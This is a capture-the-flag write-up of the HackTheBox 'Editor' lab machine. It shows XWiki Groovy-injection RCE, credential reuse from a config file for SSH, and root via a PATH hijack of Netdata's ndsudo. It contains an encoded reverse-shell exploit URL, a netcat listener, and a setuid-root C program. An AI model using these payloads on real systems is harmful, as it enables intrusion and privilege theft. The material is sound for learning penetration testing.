Editor Writeup (HackTheBox Easy Machine)

-


Overview

Editor is an easy Linux machine from HackTheBox. This box mainly relies on good enumeration and researching skills. Programming knowledge in Bash and C will also help you a lot.

We start by enumerating XWiki website and discovering a vulnerability which leads to RCE. After the foothold, we find a config file with credentials, which we use to access the machine via SSH.

During priv esc, we find Netdata’s Ndsudo with SUID set. We modify the PATH variable so Ndsudo executes our malicious executable, elevating our privileges to Root.


Nmap scan

Starting with the Nmap scan.

┌──(root㉿kali)-[/home/kali]
└─# nmap -A 10.10.11.80 -T5        
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 16:28 CEST
Nmap scan report for 10.10.11.80
Host is up (0.034s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-webdav-scan: 
|   Server Type: Jetty(10.0.20)
|   WebDAV type: Unknown
|_  Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
|_http-server-header: Jetty(10.0.20)
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   39.85 ms 10.10.14.1
2   47.14 ms 10.10.11.80

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.73 seconds

The Nmap scan showed 3 open ports. Port 22 for SSH, port 80 for Nginx web server and port 8080 for Jetty web server running XWiki. Don’t forget to add “editor.htb” domain to your “/etc/hosts”.


Web enumeration

I visited the main Nginx website which offered SimplistCode Pro IDE software. The second one on port 8080 hosted the SimplistCode documentation, running XWiki.

XWiki is an open-source Java-based wiki software platform designed for extensibility and enterprise use, offering a free, self-hosted alternative to commercial platforms. Key features include advanced collaborative editing, robust user management, PDF export, full-text search, and integrations with other enterprise systems. (Gemini)


I ran FFuF and performed subdomain enumeration. It found “wiki.editor.htb” subdomain, which brings us back to the XWiki docs website.

┌──(root㉿kali)-[/home/kali]
└─# ffuf -u http://editor.htb -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.editor.htb" -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://editor.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.editor.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

wiki                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 36ms]

Next, I ran Gobuster to perform directory enumeration but got very little results. Looking back at our Nmap scan, I noticed that “robots.txt” file was discovered on “wiki.editor.htb”.

A “robots.txt” file is a simple text file placed in the root directory of a website that tells web crawlers which parts of the site they are allowed or not allowed to crawl. (ChatGPT)

There were a lot of entries in “robots.txt”, some of them more interesting that others. One of the interesting ones was “xwiki/bin/admin”, which upon visiting, redirected me to a login page.


Exploiting RCE vulnerability in XWiki & getting initial foothold

Keen eyes could notice that there’s XWiki version 15.10.8 disclosed on the XWiki website.

XWiki version disclosure

When I researched this XWiki version, I found an unauthenticated RCE vulnerability and this Github repo with PoC exploit: https://github.com/dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC.

TLDR; we can inject malicious Groovy code via crafted GET request, which leads to remote code execution (no authentication needed).

If you’re interested in detailed technical breakdown, the Github repo offers one.


So I downloaded the PoC exploit, set up my listener and ran the script.

┌──(root㉿kali)-[/home/kali]
└─# python3 exploit.py         
    
 
   _______      ________    ___   ___ ___  _____     ___  _  _   ___   ___ ____  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|   |__ \| || | / _ \ / _ \___ \ 
 | |     \ \  / /| |__ ______ ) | | | ) | | |__ ______ ) | || || (_) | (_) |__) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______/ /|__   _> _ < \__, |__ < 
 | |____   \  /  | |____    / /_| |_| / /_ ___) |    / /_   | || (_) |  / /___) |
  \_____|   \/   |______|  |____|\___/____|____/    |____|  |_| \___/  /_/|____/ 

           CVE-2025-24893 - XWiki Groovy RCE Exploit
                   exploit by @dollarboysushil

[?] Enter target URL (including http:// or https:// e.g http://10.10.10.18.10:8080): http://wiki.editor.htb
[?] Enter your IP address (for reverse shell): 10.10.14.64
[?] Enter the port number: 1234

[+] Crafting malicious reverse shell payload...

[+] Sample Format:
    http://target/xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload>

[+] Final Exploit URL:
http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7D%22bash%20-c%20%7Becho,YmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjQvMTIzNCAwPiYxJw==%7D%7C%7Bbase64,-d%7D%7C%7Bbash,-i%7D%22.execute%28%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D

[+] Sending exploit via curl...

[+] Exploit delivered successfully! Check your listener.

[+] Done. Awaiting reverse shell connection on 10.10.14.64:1234 ...

After entering appropriate attributes, I got a connection back and got the initial foothold on the machine as user “xwiki”.

┌──(root㉿kali)-[/home/kali]
└─# nc -lnvp 1234                               
listening on [any] 1234 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.11.80] 40656
sh: 0: can't access tty; job control turned off
$ id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)


Discovering credentials in XWiki config file, logging in via SSH as “oliver” & getting user flag

Initially, I found myself inside the XWiki Jetty directory, with all the website files. I did some digging for some time, scrutinized the directories and files until I found the “WEB-INF” directory, which contained a lot of configuration files.

xwiki@editor:/usr/lib/xwiki-jetty/webapps/xwiki/WEB-INF$ ls -la
ls -la
total 280
drwxr-xr-x 4 root root   4096 Jul 29 11:48 .
drwxr-xr-x 7 root root   4096 Jul 29 11:46 ..
lrwxrwxrwx 1 root root     16 Mar 27  2024 cache -> /etc/xwiki/cache
drwxr-xr-x 2 root root   4096 Jul 29 11:46 classes
lrwxrwxrwx 1 root root     16 Mar 27  2024 fonts -> /etc/xwiki/fonts
lrwxrwxrwx 1 root root     28 Mar 27  2024 hibernate.cfg.xml -> /etc/xwiki/hibernate.cfg.xml
lrwxrwxrwx 1 root root     41 Mar 27  2024 jboss-deployment-structure.xml -> /etc/xwiki/jboss-deployment-structure.xml
lrwxrwxrwx 1 root root     24 Mar 27  2024 jetty-web.xml -> /etc/xwiki/jetty-web.xml
drwxr-xr-x 2 root root 270336 Jul 29 11:46 lib
lrwxrwxrwx 1 root root     22 Mar 27  2024 observation -> /etc/xwiki/observation
lrwxrwxrwx 1 root root     22 Mar 27  2024 portlet.xml -> /etc/xwiki/portlet.xml
lrwxrwxrwx 1 root root     22 Mar 27  2024 sun-web.xml -> /etc/xwiki/sun-web.xml
lrwxrwxrwx 1 root root     29 Mar 27  2024 version.properties -> /etc/xwiki/version.properties
lrwxrwxrwx 1 root root     18 Mar 27  2024 web.xml -> /etc/xwiki/web.xml
lrwxrwxrwx 1 root root     20 Mar 27  2024 xwiki.cfg -> /etc/xwiki/xwiki.cfg
lrwxrwxrwx 1 root root     28 Mar 27  2024 xwiki-locales.txt -> /etc/xwiki/xwiki-locales.txt
lrwxrwxrwx 1 root root     27 Mar 27  2024 xwiki.properties -> /etc/xwiki/xwiki.properties

Inside the “hibernate.cfg.xml” file, there was a pair of credentials for the MySQL service.

credentials found in XWiki config file

At first, I logged into MySQL and inspected all the databases. Unfortunately, I found nothing helpful inside those tables. The correct path had to be somewhere else.


If we look at the “/etc/passwd” file, we can find 1 user “oliver”.

xwiki@editor:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash

What if we would try that MySQL password for this “oliver” user as well and login via SSH to the machine. Luckily for us, this one is a success, we can login!

┌──(root㉿kali)-[/home/kali]
└─# ssh oliver@editor.htb

The user flag sits patiently in Oliver’s home directory.

oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
oliver@editor:~$ ls -la
total 28
drwxr-x--- 3 oliver oliver 4096 Jul  8 08:34 .
drwxr-xr-x 3 root   root   4096 Jul  8 08:34 ..
lrwxrwxrwx 1 root   root      9 Jul  1 19:19 .bash_history -> /dev/null
-rw-r--r-- 1 oliver oliver  220 Jun 13 09:45 .bash_logout
-rw-r--r-- 1 oliver oliver 3771 Jun 13 09:45 .bashrc
drwx------ 2 oliver oliver 4096 Jul  8 08:34 .cache
-rw-r--r-- 1 oliver oliver  807 Jun 13 09:45 .profile
-rw-r----- 1 root   oliver   33 Sep  6 10:55 user.txt


Escalation to Root via Netdata’s Ndsudo, crafting malicious executable, modifying the PATH variable & getting root flag

As usual, I went down my Linux privilege escalation checklist. I checked stuff like sudo privileges, capabilities, environment variables, kernel version etc. But when I looked at SUID files, I saw multiple uncommon binaries under “netdata” directory.

oliver@editor:~$ find / -perm -u=s -type f 2>/dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ioping
/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

I quickly googled this Netdata stuff to see if there are some ways to elevate our privileges. Luckily for us, there was a local priv esc via untrusted search path in “ndsudo”. That’s our attack vector.

A helper to allow Netdata run privileged commands. (Ndsudo help page)

I found this Github security post (https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93) that explains the vulnerability.

TLDR; The Ndsudo tool uses the PATH variable to look for additional binaries. We, as attacker, can create a malicious copy of such binary and write it’s path to the PATH variable. Ndsudo will trust the first occurrence of that binary in PATH and execute it, giving us an opportunity to elevate to root.


We can print out Ndsudo’s help menu to see mentioned list of commands. We can see that we can forge the “nvme” executable for example.

I went back to my machine and wrote this C exploit. It sets the UID and GID to 0 (switching to Root) and spawns a Bash shell with root access.

┌──(kali㉿kali)-[~]
└─$ cat exploit.c
#include <stdlib.h>
#include <unistd.h>

int main()
{
    setuid(0);
    setgid(0);
    system("bash -p");
    return 0;
}

Then, we have to compile it with GCC as “nvme”. Lastly, transfer the executable to the target machine. I saved mine to the “/tmp” directory (you can use any writable directory).

┌──(kali㉿kali)-[~]
└─$ gcc -o nvme exploit.c

┌──(kali㉿kali)-[~]
└─$ scp nvme oliver@editor.htb:/tmp

Next, we have to add the “/tmp” directory to the PATH variable so our malicious executable gets actually found by Ndsudo.

oliver@editor:/tmp$ export PATH=/tmp:$PATH
oliver@editor:/tmp$ $PATH
-bash: /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin: No such file or directory


Now, last thing left to do is to run Ndsudo with “nvme-list” command. If we have done everything correctly, we should end up with the shell as Root.

oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
root@editor:/tmp# id
uid=0(root) gid=0(root) groups=0(root),999(netdata),1000(oliver)

The root flag waits in the “/root” directory.

root@editor:/tmp# cd /root
root@editor:/root# ls -la
total 44
drwx------  8 root root 4096 Sep  6 17:38 .
drwxr-xr-x 18 root root 4096 Jul 29 11:55 ..
lrwxrwxrwx  1 root root    9 Jul  1 19:19 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx------  2 root root 4096 Apr 27  2023 .cache
drwxr-xr-x  2 root root 4096 Jun 19 08:14 .config
drwxr-xr-x  3 root root 4096 Apr 27  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
drwx------  2 root root 4096 Jun 19 11:30 .ssh
-rw-r-----  1 root root   33 Sep  6 17:38 root.txt
drwxr-xr-x  2 root root 4096 Jun 19 08:14 scripts
drwx------  3 root root 4096 Apr 27  2023 snap

And that’s the Editor machine done!


Summary & final thoughts

Editor is an easy Linux machine from HackTheBox. This box introduces XWiki software and lets us exploit a Groovy injection vulnerability, which leads to RCE and initial foothold. On the machine, we find numerous config files, one of which contained a pair of credentials. We use those to access MySQL database, but more importantly, the SSH. With stable access, we notice that there’s Netdata suite present on the machine, with tools like Ndsudo with SUID bit set. We find a local priv esc online, craft malicious executable, modify the PATH variable and escalate our privileges to Root.

In my opinion, this machine has several very straight forward attack paths, once identified. That’s why it relies heavily on good enumeration and research. The XWiki vulnerability and the final Netdata privilege escalation are both very interesting vulnerabilities. Finding Oliver’s SSH creds required a bit of patience and careful scrutinize of the filesystem from my side. Recommending to any beginner/intermediate hacker. Although some may say that this box is too simple and kinda dry, beginners can embrace solid enumeration skills and learn some basic exploitation and privilege escalation techniques.

Comments

Post a Comment

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

-
Image
Overview Hospital is a medium Windows machine from HackTheBox. This box makes you go against file upload, kernel exploits, database dumping, command injection and keylogging. We start with bypassing file upload restrictions, while evading functions disabled by PHP config. Once we get the shell on Linux container, we dump the database and discover an exploit for unpatched Linux kernel. The exploit gives us a root shell. Next, we crack the hash and use the password to log into Roundcube Webmail. We then abuse the command injection in EPS files and in GhostScript to get shell as another user with higher privileges. We then notice another session running under our user. We use Metasploit’s Meterpreter to migrate to process which runs on that second session and use Meterpreter’s additional functionality to make a screenshot of the desktop and capture keystrokes from that session. Since the user was logging into Webmail as Administrator, we captured his password in the process.
Read more

Bucket Writeup (HackTheBox Medium Machine)

-
Image
Overview Bucket is a medium Linux machine from HackTheBox. This box introduces you to Cloud hacking (kinda) and lets you play with S3 bucket from AWS, showcasing common misconfigurations. We start with discovering special subdomain, which represents an exposed S3 bucket with files used by the web server. After enumeration with “aws” utility, we find out that we can download and upload files. So we upload PHP reverse shell and get initial foothold. Once in, we dump the exposed DynamoDB database and get the credentials for user “roy”, getting the user flag afterwards. Next, we discover several internal services running. We find the source code in Roy’s project files and discover SSRF vulnerability, which leads to arbitrary file read, allowing us to read any file on the machine, including the root flag.
Read more

Mr Robot Writeup (Vulnhub Intermediate Machine)

-
Image
Based on the show, Mr. Robot. This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find. The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate. Overview Mr. Robot is a beginner-intermediate Linux machine from Vulnhub. It’s based on the show Mr. Robot and has some cool references to it. We start with enumeration of a Wordpress website. We discover an exposed login page and encoded credentials. Once we get into dashboard, we modify a template and gain remote access. Next, we compromise another user by cracking his hash and getting his password. We discover that Nmap has SUID bit set on the machine, which is very insecure because of Nmap’s functionality. We get 3 flags along the way: 1. on special website page, 2. as user flag and 3. as root flag.
Read more